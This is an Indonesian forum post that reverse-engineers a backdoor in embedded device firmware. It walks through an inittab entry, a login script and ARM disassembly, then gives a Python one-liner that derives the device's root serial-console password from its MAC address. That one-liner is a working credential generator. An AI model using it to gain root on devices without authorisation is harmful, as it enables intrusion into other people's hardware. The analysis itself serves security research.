• Silahkan bergabung dengan chat kami di Telegram group kami di N3Forum - https://t.me/n3forum
  • Welcome to the Nyit-Nyit.Net - N3 forum! This is a forum where offline-online gamers, programmers and reverser community can share, learn, communicate and interact, offer services, sell and buy game mods, hacks, cracks and cheats related, including for iOS and Android.

    If you're a pro-gamer or a programmer or a reverser, we would like to invite you to Sign Up and Log In on our website. Make sure to read the rules and abide by it, to ensure a fair and enjoyable user experience for everyone.

RNDC [RNDC] Backdoor Firmware di perangkat Embedded

dono

3 SMP
STAFF N3
Tukang Sapu
Penjelasan Singkat
Berikut ini adalah contoh backdoor yang terdapat pada firmware sebuah perangkat embedded.
Pada saat perangkat tersebut melakukan boot, maka proses inisialisasi akan dimulai dengan
konfigurasi yang terdapat pada file '/etc/inittab'. Berikut ini adalah sebagian dari isi
file tersebut:

Code:
 # /etc/inittab init(8) configuration for BusyBox
#
...
# /bin/sh invocations on selected ttys
ttyS0::askfirst:-/bin/slogin
...
medium_6872259969.jpg

Adapun penjelasan untuk baris di atas berdasarkan informasi dari inittab busybox[1] adalah
shell "askfirst" akan dijalankan pada /dev/ttyS0 yaitu tty yang berfungsi untuk komunikasi
serial. Askfirst itu sendiri artinya sebelum user dapat menggunakan console, maka terlebih
dahulu ditampilkan pesan "Please press Enter to activate this console." dan user harus
menekan tombol "enter" pada keyboard. Selanjutnya, proses yang akan dieksekusi adalah sebuah
custom script yaitu "slogin". Berikut ini adalah isi dari script tersebut:

Code:
 1 #!/bin/sh
2
3 autologin()
4 {
5 exec /bin/login -f root
6 }
7
8 securelogin()
9 {
10 exec /bin/tdlogin
11 }
12
13 if [ -x /bin/tdlogin ]; then
14 if grep -q 'r[0-9]\+\([rR][cC][0-9]\+\)\?[a-zA-Z]\+$' /etc/VERSION; then
15 autologin
16 else
17 securelogin
18 fi
19 else
20 autologin
21 fi
22
Baris ke-13 pada script di atas melakukan pengecekan apakah file tdlogin pada direktori bin
merupakan executable. Jika file tdlogin tidak dapat ditemukan atau bukan merupakan executable
maka fungsi "autologin" akan dijalankan. Sebaliknya jika file dapat ditemukan dan sifatnya
executable, maka akan dilakukan pengecekan versi firmware. Jika versi firmware bukan release
(masih beta/RC), maka fungsi "autologin" akan dijalankan. Sebaliknya, jika versi firmware
yang digunakan adalah versi release, maka yang akan dijalankan adalah fungsi "securelogin".
Pada tulisan ini, versi firmware yang digunakan adalah versi release dan file tdlogin sifatnya
executable:

Code:
 -rwxr-xr-x 1 5.5K Dec 4 2012 bin/tdlogin
Maka script di atas akan menjalankan fungsi "securelogin" yang isinya adalah mengekseskusi
file tdlogin. Berikut ini adalah disassembly dari file tdlogin yang menggunakan arsitektur
ARM:


Code:
 .text:00008624 EXPORT main
.text:00008624 main ; DATA XREF: _start+20
.text:00008624 ; .text:off_8584
.text:00008624
.text:00008624 var_14 = -0x14
.text:00008624
.text:00008624 STMFD SP!, {R4-R6,LR} ;
.text:00008628 LDR R1, =timeout ; r1 = handler function (timeout)
.text:0000862C SUB SP, SP, #4 ;
.text:00008630 MOV R0, #0xE ; signal = 0x0e
.text:00008634 BL signal ; signal(SIG_ALARM, timeout)
.text:00008638 MOV R1, #0 ; r1 = 0
.text:0000863C LDR R0, =aPassword ; "password"
.text:00008640 MOV R2, R1 ; r2 = 0
.text:00008644 BL td_license_create ; r0 = td_license_create("password", 0, 0)
.text:00008648 MOV R5, #0 ; r5 = 0
.text:0000864C MOV R6, R0 ; r6 = td_license_create("password", 0, 0)
.text:00008650
.text:00008650 loc_8650 ; CODE XREF: main+80
.text:00008650 MOV R0, #0x3C ; 60 seconds
.text:00008654 BL alarm ; alarm
.text:00008658 LDR R0, =aPassword_0 ; "Password: "
.text:0000865C BL getpass ; getpass("Password: ")
.text:00008660 MOV R4, R0 ; r4 = password
.text:00008664 MOV R0, #0 ; seconds
.text:00008668 BL alarm ; alarm(0)
.text:0000866C MOV R0, R6 ; s = td_license_create("password", 0, 0)
.text:00008670 BL strlen ; strlen(s)
.text:00008674 MOV R1, R4 ; s2 = user_input
.text:00008678 MOV R2, R0 ; n = strlen(s)
.text:0000867C MOV R0, R6 ; s1 = s
.text:00008680 BL strncmp ; strncmp(s1, s2, n)
.text:00008684 SUBS R12, R0, #0 ; correct? (r0 == 0)
.text:00008688 BEQ loc_86B4 ; login ;-)
.text:0000868C MOV R0, #2 ; seconds
.text:00008690 BL sleep ; sleep(2)
.text:00008694 ADD R5, R5, #1 ; r5 = 1
.text:00008698 LDR R0, =aPasswordIncorr ; "Password incorrect\n"
.text:0000869C BL puts ; puts("Password incorrect\n")
.text:000086A0 CMP R5, #3 ; r5 == 3?
.text:000086A4 BNE loc_8650 ; if no, jump to loc_8650
.text:000086A8 MOV R0, #1 ; r0 = 1
.text:000086AC ADD SP, SP, #4 ;
.text:000086B0 LDMFD SP!, {R4-R6,PC} ;
.text:000086B4 ; ---------------------------------------------------------------------------
.text:000086B4
.text:000086B4 loc_86B4 ; CODE XREF: main+64
.text:000086B4 LDR R0, =aBinLogin ; "/bin/login"
.text:000086B8 LDR R1, =aLogin ; "login"
.text:000086BC LDR R2, =aF ; "-f"
.text:000086C0 LDR R3, =aRoot ; "root"
.text:000086C4 STR R12, [SP,#0x14+var_14] ;
.text:000086C8 BL execl ; execl("/bin/login", "login", "-f", "root")
.text:000086CC MOV R0, #1 ; status = 1
.text:000086D0 BL exit ; exit(1)
.text:000086D0 ; End of function main
.text:000086D0
.text:000086D0 ; ---------------------------------------------------------------------------
.text:000086D4 ; __sighandler_t handler
.text:000086D4 handler DCD timeout ; DATA XREF: main+4
.text:000086D8 off_86D8 DCD aPassword ; DATA XREF: main+18
.text:000086D8 ; "password"
.text:000086DC ; char *prompt
.text:000086DC prompt DCD aPassword_0 ; DATA XREF: main+34
.text:000086DC ; "Password: "
.text:000086E0 ; char *off_86E0
.text:000086E0 off_86E0 DCD aPasswordIncorr ; DATA XREF: main+74
.text:000086E0 ; "Password incorrect\n"
.text:000086E4 ; char *path
.text:000086E4 path DCD aBinLogin ; DATA XREF: main:loc_86B4
.text:000086E4 ; "/bin/login"
.text:000086E8 ; char *arg
.text:000086E8 arg DCD aLogin ; DATA XREF: main+94
.text:000086E8 ; "login"
.text:000086EC off_86EC DCD aF ; DATA XREF: main+98
.text:000086EC ; "-f"
.text:000086F0 off_86F0 DCD aRoot ; DATA XREF: main+9C
.text:000086F0 ; "root"
.text:000086F4
.text:000086F4 ; =============== S U B R O U T I N E =======================================
.text:000086F4
.text:000086F4 ; Attributes: noreturn
.text:000086F4
.text:000086F4 EXPORT timeout
.text:000086F4 timeout ; DATA XREF: main+4
.text:000086F4 ; .text:handler
.text:000086F4
.text:000086F4 var_4 = -4
.text:000086F4
.text:000086F4 STR LR, [SP,#var_4]! ;
.text:000086F8 LDR R0, =aTimeoutAfter60 ; "\nTimeout after 60 seconds"
.text:000086FC BL puts ; puts("\nTimeout after 60 seconds")
.text:00008700 MOV R0, #3 ; status = 3
.text:00008704 BL exit ; exit(3)
.text:00008704 ; End of function timeout
.text:00008704
.text:00008704 ; ---------------------------------------------------------------------------
.text:00008708 ; char *s
.text:00008708 s DCD aTimeoutAfter60 ; DATA XREF: timeout+4
.text:00008708 ; "\nTimeout after 60 seconds"
.text:0000870C
-----snip-----
.fini:00008744 ; =============== S U B R O U T I N E =======================================
.fini:00008744
.fini:00008744 ; Attributes: bp-based frame
.fini:00008744
.fini:00008744 EXPORT .term_proc
.fini:00008744 .term_proc ; DATA XREF: _start+18
.fini:00008744 ; .text:off_8580
.fini:00008744 MOV R12, SP ; _fini
.fini:00008748 STMFD SP!, {R4-R12,LR,PC}
.fini:0000874C SUB R11, R12, #4
.fini:00008750 BL __do_global_dtors_aux
.fini:00008754 LDMDB R11, {R4-R11,SP,PC}
.fini:00008754 ; End of function .term_proc
.fini:00008754
.fini:00008754 ; .fini ends
.fini:00008754
.rodata:00008758 ; ===========================================================================
.rodata:00008758
.rodata:00008758 ; Segment type: Pure data
.rodata:00008758 AREA .rodata, DATA, READONLY
.rodata:00008758 ; ORG 0x8758
.rodata:00008758 aPassword DCB "password",0 ; DATA XREF: main+18
.rodata:00008758 ; .text:off_86D8
.rodata:00008761 ALIGN 4
.rodata:00008764 aPassword_0 DCB "Password: ",0 ; DATA XREF: main+34
.rodata:00008764 ; .text:prompt
.rodata:0000876F ALIGN 0x10
.rodata:00008770 aBinLogin DCB "/bin/login",0 ; DATA XREF: main:loc_86B4
.rodata:00008770 ; .text:path
.rodata:0000877B ALIGN 4
.rodata:0000877C aLogin DCB "login",0 ; DATA XREF: main+94
.rodata:0000877C ; .text:arg
.rodata:00008782 ALIGN 4
.rodata:00008784 aF DCB "-f",0 ; DATA XREF: main+98
.rodata:00008784 ; .text:off_86EC
.rodata:00008787 ALIGN 4
.rodata:00008788 aRoot DCB "root",0 ; DATA XREF: main+9C
.rodata:00008788 ; .text:off_86F0
.rodata:0000878D ALIGN 0x10
.rodata:00008790 aPasswordIncorr DCB "Password incorrect",0xA,0 ; DATA XREF: main+74
.rodata:00008790 ; .text:off_86E0
.rodata:000087A4 aTimeoutAfter60 DCB 0xA ; DATA XREF: timeout+4
.rodata:000087A4 ; .text:s
.rodata:000087A4 DCB "Timeout after 60 seconds",0
.rodata:000087BE ALIGN 0x10
.rodata:000087BE ; .rodata ends
.rodata:000087BE

Dari potongan disassembly di atas, bisa terlihat bahwa fungsi pengecekan password adalah
"td_license_create" dimana fungsi tersebut dieksport oleh library "liblicense.so" dengan
menggunakan 3 parameter ("password", 0, 0) Berikut ini adalah disassembly dari library
"liblicense.so":

Code:
.text:000006A8 EXPORT td_license_create
.text:000006A8 td_license_create
.text:000006A8
.text:000006A8 var_C0 = -0xC0
.text:000006A8 var_BC = -0xBC
.text:000006A8 var_B8 = -0xB8
.text:000006A8 var_78 = -0x78
.text:000006A8 var_50 = -0x50 ; mdctx
.text:000006A8 s = -0x36
.text:000006A8 var_26 = -0x26
.text:000006A8 var_25 = -0x25
.text:000006A8 var_24 = -0x24
.text:000006A8 var_23 = -0x23
.text:000006A8 var_22 = -0x22
.text:000006A8 var_21 = -0x21
.text:000006A8 var_20 = -0x20 ; ctx size
.text:000006A8
.text:000006A8 STMFD SP!, {R4-R8,R10,LR} ;
.text:000006AC LDR R10, =($_GLOBAL_OFFSET_TABLE_ - 0x6BC)
.text:000006B0 SUBS R4, R1, #0 ; r4 = r1 - 0
.text:000006B4 ADD R10, PC, R10 ;
.text:000006B8 SUB SP, SP, #0xAC ;
.text:000006BC MOV R8, R0 ; r8 = "password"
.text:000006C0 MOV R7, R2 ; r7 = 0
.text:000006C4 BEQ loc_824 ; goto loc_824 if 0
.text:000006C8
.text:000006C8 loc_6C8 ; CODE XREF: td_license_create+1F0
.text:000006C8 ADD R6, SP, #0xC8+var_50 ; r6 = mdctx
.text:000006CC MOV R0, R6 ; r0 = mdctx
.text:000006D0 BL EVP_MD_CTX_init ; initialize digest context
.text:000006D4 BL EVP_sha512 ; use sha512
.text:000006D8 MOV R2, #0 ; 0
.text:000006DC MOV R1, R0 ; EVP_sha512
.text:000006E0 MOV R0, R6 ; mdctx
.text:000006E4 BL EVP_DigestInit_ex ; EVP_DigestInit_ex(mdctx, EVP_sha512, 0)
.text:000006E8 LDR R1, =(a0x4c534258 - 0x8A20) ;
.text:000006EC MOV R2, #0xA ; 0x0A (10 dec, length of "0x4c534258")
.text:000006F0 ADD R1, R10, R1 ; "0x4c534258"
.text:000006F4 MOV R0, R6 ; mdctx
.text:000006F8 BL EVP_DigestUpdate ; EVP_DigestUpdate(mdctx, "0x4c534258", 0x0a)
.text:000006FC MOV R0, R4 ; s (MAC address)
.text:00000700 BL strlen ; strlen(MAC_ADDRESS)
.text:00000704 MOV R1, R4 ; MAC_ADDRESS
.text:00000708 MOV R2, R0 ; r2 = 17
.text:0000070C MOV R0, R6 ; mdctx
.text:00000710 BL EVP_DigestUpdate ; EVP_DigestUpdate(mdctx, MAC_ADDRESS, strlen(MAC_ADDRESS))
.text:00000714 MOV R0, R8 ; s ("password")
.text:00000718 BL strlen ; strlen("password")
.text:0000071C MOV R1, R8 ; "password"
.text:00000720 MOV R2, R0 ; strlen("password")
.text:00000724 MOV R0, R6 ; mdctx
.text:00000728 BL EVP_DigestUpdate ; EVP_DigestUpdate(mdctx, "password", strlen("password"))
.text:0000072C CMP R7, #0 ; r7 == 0?
.text:00000730 BEQ loc_768 ; if yes, jump to loc_768
.text:00000734 LDR R4, [R7] ; r4 = [r7]
.text:00000738 CMP R4, #0 ; r4 == 0 ?
.text:0000073C BEQ loc_768 ; if yes, jump to loc_768
.text:00000740 MOV R5, R7 ; r5 = r7
.text:00000744
.text:00000744 loc_744 ; CODE XREF: td_license_create+BC
.text:00000744 MOV R0, R4 ; s = parameter #3
.text:00000748 BL strlen ; strlen(s)
.text:0000074C MOV R1, R4 ; r1 = parameter #3
.text:00000750 MOV R2, R0 ; r2 = strlen(s)
.text:00000754 MOV R0, R6 ; r0 = mdctx
.text:00000758 BL EVP_DigestUpdate ; EVP_DigestUpdate(mdctx, parameter #3, strlen(parameter #3))
.text:0000075C LDR R4, [R5,#4]! ;
.text:00000760 CMP R4, #0 ; r4 == 0?
.text:00000764 BNE loc_744 ; if no, loop to loc_744
.text:00000768
.text:00000768 loc_768 ; CODE XREF: td_license_create+88
.text:00000768 ; td_license_create+94
.text:00000768 ADD R7, SP, #0xC8+var_B8 ; buffer
.text:0000076C ADD R4, SP, #0xC8+var_20 ; ctx_size
.text:00000770 MOV R2, R4 ; r2 = ctx_size
.text:00000774 MOV R1, R7 ; r1 = md (buffer)
.text:00000778 MOV R0, R6 ; r0 = mdctx
.text:0000077C BL EVP_DigestFinal_ex ; EVP_DigestFinal_ex(mdctx, md, ctx_size)
.text:00000780 MOV R0, R6 ; mdctx
.text:00000784 BL EVP_MD_CTX_cleanup ; EVP_MD_CTX_cleanup(mdctx)
.text:00000788 MOV R0, R6 ; mdctx
.text:0000078C BL EVP_MD_CTX_init ; EVP_MD_CTX_init(mdctx)
.text:00000790 BL EVP_sha1 ; EVP_sha1
.text:00000794 MOV R2, #0 ; r2 = 0
.text:00000798 LDR R8, =(a02x - 0x8A20) ;
.text:0000079C MOV R5, #1 ; r5 = 1
.text:000007A0 MOV R1, R0 ; EVP_sha1
.text:000007A4 MOV R0, R6 ; mdctx
.text:000007A8 BL EVP_DigestInit_ex ; EVP_DigestInit_ex(mdctx, EVP_sha1, 0)
.text:000007AC MOV R0, R6 ; r0 = mdctx
.text:000007B0 MOV R1, R7 ; r1 = buffer
.text:000007B4 LDR R2, [SP,#0xC8+var_20] ; r2 = strlen(buffer)
.text:000007B8 BL EVP_DigestUpdate ; EVP_DigestUpdate(mdctx, buffer, strlen(buffer))
.text:000007BC MOV R2, R4 ; r2 = ctx_size
.text:000007C0 MOV R1, R7 ; r1 = buffer
.text:000007C4 MOV R0, R6 ; r0 = mdctx
.text:000007C8 BL EVP_DigestFinal_ex ; EVP_DigestFinal_ex(mdctx, buffer, ctx_size)
.text:000007CC MOV R0, R6 ; r0 = mdctx
.text:000007D0 ADD R6, SP, #0xC8+var_78 ;
.text:000007D4 BL EVP_MD_CTX_cleanup ; EVP_MD_CTX_cleanup(mdctx)
.text:000007D8 MOV R3, #0 ; r3 = 0
.text:000007DC MOV R0, R6 ; s = mdctx
.text:000007E0 ADD R1, R10, R8 ; "%02x"
.text:000007E4 LDRB R2, [SP,#0xC8+var_B8] ;
.text:000007E8 STRB R3, [SP,#0xC8+var_78] ;
.text:000007EC BL sprintf ; sprintf(mdctx, "%02x", buffer, 0)
.text:000007F0 MOV R4, R0 ; r4 = bytes written
.text:000007F4
.text:000007F4 loc_7F4 ; CODE XREF: td_license_create+168
.text:000007F4 ADD R0, R6, R4 ; buffer++
.text:000007F8 LDRB R2, [R5,R7] ; r2 =
.text:000007FC ADD R1, R10, R8 ; "%02x"
.text:00000800 BL sprintf ; sprintf(buffer, "%02x", ...)
.text:00000804 ADD R5, R5, #1 ; password length counter++
.text:00000808 CMP R5, #0x14 ; password length = 0x14 ?
.text:0000080C ADD R4, R4, R0 ;
.text:00000810 BNE loc_7F4 ; if not, loop loc_7F4
.text:00000814 MOV R0, R6 ; s = password
.text:00000818 BL strdup ; strdup(s)
.text:0000081C ADD SP, SP, #0xAC ;
.text:00000820 LDMFD SP!, {R4-R8,R10,PC} ;
.text:00000824 ; ---------------------------------------------------------------------------
.text:00000824
.text:00000824 loc_824 ; CODE XREF: td_license_create+1C
.text:00000824 LDR R0, =(aDevI2c4 - 0x8A20) ; r0 = "/dev/i2c-4"
.text:00000828 MOV R2, R4 ; r2 = 0
.text:0000082C ADD R1, R1, #0xA0 ; r1 = 0xa0 (160 dec)
.text:00000830 ADD R0, R10, R0 ; "/dev/i2c-4"
.text:00000834 BL i2c_open ; i2c_open("/dev/i2c-4", 0xa0, 0)
.text:00000838 MOV R1, #0xFA ; r1 = 0xfa
.text:0000083C ADD R2, SP, #0xC8+var_26 ; r2 =
.text:00000840 MOV R3, #6 ; r3 = 6
.text:00000844 MOV R4, R0 ; r4 = i2c_client
.text:00000848 BL i2c_read_block ; i2c_read_block(i2c_client, 0xfa, data, 6)
.text:0000084C MOV R0, R4 ;
.text:00000850 BL i2c_close ; i2c_close(i2c_client)
.text:00000854 LDR R1, =(a02x02x02x02x02 - 0x8A20)
.text:00000858 LDRB R12, [SP,#0xC8+var_24] ;
.text:0000085C LDRB LR, [SP,#0xC8+var_23] ;
.text:00000860 LDRB R5, [SP,#0xC8+var_22] ;
.text:00000864 LDRB R6, [SP,#0xC8+var_21] ;
.text:00000868 ADD R4, SP, #0xC8+s ; r4 = buffer
.text:0000086C LDRB R2, [SP,#0xC8+var_26] ;
.text:00000870 LDRB R3, [SP,#0xC8+var_25] ;
.text:00000874 ADD R1, R10, R1 ; "%02X:%02X:%02X:%02X:%02X:%02X"
.text:00000878 MOV R0, R4 ; s = buffer
.text:0000087C STMEA SP, {R12,LR} ;
.text:00000880 STR R5, [SP,#0xC8+var_C0] ;
.text:00000884 STR R6, [SP,#0xC8+var_BC] ;
.text:00000888 BL sprintf ; sprintf(buffer, "%02X:%02X:%02X:%02X:%02X:%02X", ...)
.text:0000088C MOV R0, R4 ; s = buffer
.text:00000890 BL strdup ; strdup(s)
.text:00000894 MOV R4, R0 ; r4 = MAC_ADDRESS
.text:00000898 B loc_6C8 ; goto loc_6C8
.text:00000898 ; End of function td_license_create
.text:00000898
.text:00000898 ; ---------------------------------------------------------------------------
.text:0000089C off_89C DCD $_GLOBAL_OFFSET_TABLE_ - 0x6BC
.text:0000089C ; DATA XREF: td_license_create+4
.text:000008A0 off_8A0 DCD a0x4c534258 - 0x8A20 ; DATA XREF: td_license_create+40
.text:000008A0 ; "0x4c534258"
.text:000008A4 off_8A4 DCD a02x - 0x8A20 ; DATA XREF: td_license_create+F0
.text:000008A4 ; "%02x"
.text:000008A8 off_8A8 DCD aDevI2c4 - 0x8A20 ; DATA XREF: td_license_create:loc_824
.text:000008A8 ; "/dev/i2c-4"
.text:000008AC off_8AC DCD a02x02x02x02x02 - 0x8A20
.text:000008AC ; DATA XREF: td_license_create+1AC
.text:000008AC ; "%02X:%02X:%02X:%02X:%02X:%02X"

Jika disederhanakan, disassembly di atas dapat disederhanakan menggunakan python
kurang lebih seperti ini:

Code:
 % python -c 'import hashlib; print hashlib.sha1(hashlib.sha512("0x4c534258" + MAC_ADDRESS + "password").hexdigest()).hexdigest()'
Anda cukup mengganti MAC_ADDRESS sesuai dengan mac address perangkat yang bersangkutan.
Contohnya seperti ini:

Code:
 % python -c 'import hashlib; print hashlib.sha1(hashlib.sha512("0x4c534258" + "11:11:11:11:11:11" + "password").hexdigest()).hexdigest()'
ff0ea478635d756373dc8b39e696dd89574e9ecb
Sekian catatan singkat kali ini, semoga bermanfaat. :)


Referensi:
----------
[1] /etc/inittab init(8) configuration for BusyBox
http://git.busybox.n...xamples/inittab

Sumber: https://www.facebook...ups/rndc.or.id/

RNDC merupakan sebuah tempat bersifat wadah yang diperuntukan sebagai sebuah sarana, prasarana, dan fasilitas bagi individu atau kelompok yang bergerak dibidang IT dengan tujuan sama. RNDC merupakan salah satu base tempatnya para members N3. Untuk info lanjut silahkan baca http://www.nyit-nyit...lopment-center/
 

yhojoontwo

1 SD
Level 2
Level 1
ilmunya bermanfaat banget, sekarang ada juga kabar AP di cina dah di susupi backdoor,..
tapi sayang ilmu masih belom sampe kesana,..
thanks om dono
 
Top